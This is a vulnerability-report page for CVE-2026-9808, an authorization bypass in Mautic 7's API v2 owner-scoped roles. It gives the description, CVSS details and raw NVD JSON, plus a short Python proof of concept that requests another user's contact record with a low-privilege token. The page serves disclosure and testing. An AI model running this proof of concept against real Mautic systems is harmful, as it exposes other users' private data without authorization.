Security Vulnerability Report
中文
CVE-2026-9808 CVSS 7.1 HIGH

CVE-2026-9808

Published: 2026-05-29 12:16:27
Last Modified: 2026-05-29 12:16:27

Description

An authorization bypass vulnerability exists in the Mautic 7 API v2 endpoints (utilizing API Platform). Under certain conditions, roles configured with owner-scope restrictions (such as `viewown` or `editown`) are not properly enforced. This allows low-privilege authenticated API users to bypass ownership-logic controls and access or modify resources belonging to other users.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mautic 7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2026-9808: Mautic API Authorization Bypass Demonstrates accessing a resource owned by another user using low-privilege credentials. """ import requests def check_vulnerability(target_url, api_token): headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/vnd.api+json" } # Attempting to access a contact ID (e.g., ID 1) that likely belongs to an Admin # while using a low-privilege token. target_endpoint = f"{target_url}/api/v2/contacts/1" try: response = requests.get(target_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print(f"[+] Successfully retrieved data: {response.json()}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "https://mautic.example.com" TOKEN = "LOW_PRIV_USER_TOKEN" check_vulnerability(TARGET, TOKEN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9808", "sourceIdentifier": "[email protected]", "published": "2026-05-29T12:16:26.800", "lastModified": "2026-05-29T12:16:26.800", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization bypass vulnerability exists in the Mautic 7 API v2 endpoints (utilizing API Platform). Under certain conditions, roles configured with owner-scope restrictions (such as `viewown` or `editown`) are not properly enforced. This allows low-privilege authenticated API users to bypass ownership-logic controls and access or modify resources belonging to other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/mautic/mautic/security/advisories/GHSA-2jrw-c95w-h43g", "source": "[email protected]"}]}}